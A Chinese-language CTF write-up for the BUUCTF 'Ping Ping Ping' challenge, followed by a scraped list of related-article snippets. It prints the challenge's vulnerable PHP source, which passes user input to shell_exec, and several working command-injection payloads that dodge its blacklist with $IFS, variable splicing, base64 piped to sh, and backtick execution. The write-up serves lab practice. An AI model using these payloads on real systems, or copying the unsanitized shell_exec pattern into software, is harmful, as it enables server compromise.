BUUCTF [GXYCTF2019]Ping Ping Ping 1
[GXYCTF2019]Ping Ping Ping 1
在本题我们考察的是命令执行
已进入本关,我们发现他在询问 ?ip
我们先尝试输入
?ip=127.0.0.1
发现访问成功
查询一下它的目录:
?ip=127.0.0.1|ls
发现有两个文件夹flag.php,index.php,发现 flag 我们尝试访问 flag。
?ip=127.0.0.1|cat flag.php
点击查询,
很明显我们需要进行一个空格的过滤
空格过滤常见绕过注释:
< > %20(space), %09(tab), $IFS$1
输入之后
?ip=127.0.0.1|cat<flag.php
发现:
可以知道,在本题它还过滤了 符号
所以我们换一种 空格的过滤方法:
?ip=127.0.0.1|cat$IFS$1flag.php
坏了,它把flag都给过滤了,已经没有什么好的办法了,只能先尝试访问一下前面的 index.php
?ip=127.0.0.1|cat$IFS$1index.php
访问源码:
<?php
if(isset($_GET['ip'])){$ip = $_GET['ip'];if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);die("fxck your symbol!");} else if(preg_match("/ /", $ip)){die("fxck your space!");} else if(preg_match("/bash/", $ip)){die("fxck your bash!");} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){die("fxck your flag!");}$a = shell_exec("ping -c 4 ".$ip);echo "<pre>";print_r($a);
}?>
源代码告诉我们 如果我们输入的 ip是存在的话,那么 ip=ip,并且会进行一个正则匹配(黑名单过滤),并且如果我们构造的payload中有 空格 页面就会返回一个 fxck your space ,如果我们构造的payload中有 bash 页面就会返回一个 fxck your bash…
什么是bash:
要想了解bash,就要先知道什么是shell:
首先,shell是一个程序,提供用户与电脑对话的环境(环境唯一:命令提示符又称为命令提示符)。shell可以接收到用户输入的命>令,将命令送入操作系统进行执行,并发布会结果。
再着,shell也可以作为一个命令解释器,就是我们常说的脚本。它支持变量,条件判断,循环操作等语法,所以我们可以用shell来>写出各种小程序(脚本)
而bash就是shell的脚本类型之一(还有sh csh tcsh 等),bash是目前最常用的shell。进入命令环境以后,一般就打开了bash了 我>们可以使用bash命令来构造shell来查找flag,本关虽然黑掉了bash 但我们还有 sh 用!!! 哈皮
if完之后,我们会遇见一个命令函数 shell_exec("ping -c 4 ".$ip)
if完之后,我们会遇见一个命令函数 shell_exec("ping -c 4 ".$ip),换句话说我们只能输入四个字符
shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
shell_exec(string $cmd): string
exec 是 Shell 内置命令,它有两种用法,一种是执行 Shell 命令,一种是操作文件描述符
ping -c Count 指定要被发送(或接收)的回送信号请求的数目,由 Count 变量指出
之后输出<pre>
(输出原代码),并且将变量 a 所表示的数据给打印出来,如果我们令 $a=g;那么就可以巧妙的饶过falg的黑名单
构造:
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
查看页面源代码,发现flag。
当然这里还有别的办法例如借用sh来构造shell 对cat flag.php进行base编码---->Y2F0IGZsYWcucGhw(这里bash被黑名单过滤了,不然也可以使用)
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
还有一种大佬操作,是我查询博客才了解的
内联执行 (真·大佬操作,小弟只有膜拜的份儿)
ip=127.0.0.1;cat$IFS$9`ls`
注:内联,就是将反引号内命令的输出作为输入执行。
BUUCTF [GXYCTF2019]Ping Ping Ping 1相关推荐
- buuctf[GXYCTF2019]Ping Ping Ping
buuctf[GXYCTF2019]Ping Ping Ping 这个题目的标题是pingping盲猜是关于命令执行的题目 打开环境后 只有一个/ip=? 应该是提示用get的方式来传参一个地址执行p ...
- linux命令菜鸟ping,Linux ping命令
Linux ping命令 Linux ping命令用于检测主机. 执行ping指令会使用ICMP传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常. 语 ...
- 复制vmware overLay网络无法ping通 ping www.baidu.com可以
因为忘记关闭防火墙了!!!!! 要永久关闭!! 修改hostname https://blog.csdn.net/qq_27327261/article/details/109100219 关闭 ...
- linux使用ping命令ping本机,Linux下使用ping命令判断网络的好坏
简介 在Linux系统里面如果想判断网络的好坏,脑海中蹦出的第一个命令就是ping了. ping命令基本是最常用的网络命令,它可以用来测试与目标主机的连通性. ping通过发送ICMP ECHO_RE ...
- 虚拟机ping网关ping不通
虚拟机ping网关ping不通,可能自己遇到的比较奇特,开始访问正常,过一段时间就不正常,分享一下解决办法: 首先ping同网段的可以ping的通,说明vmnet8的ipv4不和虚拟机配置的vmnet ...
- 全网超详细的如何Ping特定的端口号,比如telnet Ping,nc Ping,nmap Ping等
文章目录 1. 文章引言 2. ping特定端口 2.1 使用telnet ping特定端口 2.2 使用nc ping特定端口 2.3 使用nmap ping端口 2.4 使用Powershell ...
- C# ping命令,ping网络状态
Ping ping = new Ping(); PingReply pingReply = ping.Send("192.168.1.1"); //网络状态 if (pingRep ...
- BUUCTF [GXYCTF2019] 禁止套娃
题目分析 这题对我这个小白来说好难理解,慢慢补坑吧.PHP很多常用的函数都不是很了解,命令执行也是呜呜呜感觉学得还不是很精通. 打开题目,只有如下: 看源码也没有什么东西,常见的信息泄露:robots ...
- BUUCTF | [GXYCTF2019]BabySQli
BUUCTF | [GXYCTF2019]BabySQli 一.必备基础知识 当=号被过滤了使用like,rlike绕过 当or被过滤了使用大小写绕过,双写绕过,&&绕过 二.实战化渗 ...
最新文章
- 【UE5教程】影棚拍摄于虚拟场景合成制作流程学习
- java tomcat mysql_java+tomcat+mysql实现登录界面基本思路
- 堆排序 C++代码实现及思想 排序过程输出 恋上数据结构笔记
- Spring-mybatis 抽取 baseDao。
- java idea连数据库报错:Server returns invalid timezone. Go to 'Advanced' tab and set 'serverTimezone'时区错误
- wiki的watch设置
- python入门-简单的文件备份程序
- 叮咚买菜大裁员?回应:消息不实 目前业务都在正常运转
- Chrome 最小字体12px
- div盒子水平垂直居中的方法
- ACM大牛总结的线段树专辑
- 程序猿软件开发保护眼睛,win7设置窗口护眼模式?
- html当前月份的英文,一月到十二月各个月份的英文缩写
- 3月30日自走棋无限刷国外服务器,基础改动_逆水寒3月28日更新内容_自走棋全区服上线_3DM网游...
- 沧桑,何尝不是一种美丽 ----红尘一笑
- 《 HarmonyOS实战—HarmonyOS(鸿蒙)开发初体验,华为如何引领物联网时代》
- 男人应该做的50件事(1-16)
- 软件测试方法—动态测试
- win10更改时间崩溃
- 想要申请PhD,真是路漫漫啊
热门文章
- 基于 Spring SSM框架 开发的一套 进存销管理系统
- AODV=DSR+DSDV
- C++:分数处理(约分、加减乘除、假分数输出)
- Java8新特性之Stream流式编程
- 新版个人所得税python123_【Python教程】02.基础语法
- php redis sadd 多个,Redis Sadd 命令
- vscode安装插件以及配置anaconda
- (31)ObjectARX2015 + vs2012选择集
- java mp3 头信息_java读取mp3文件头信息
- iOS 5G网络判断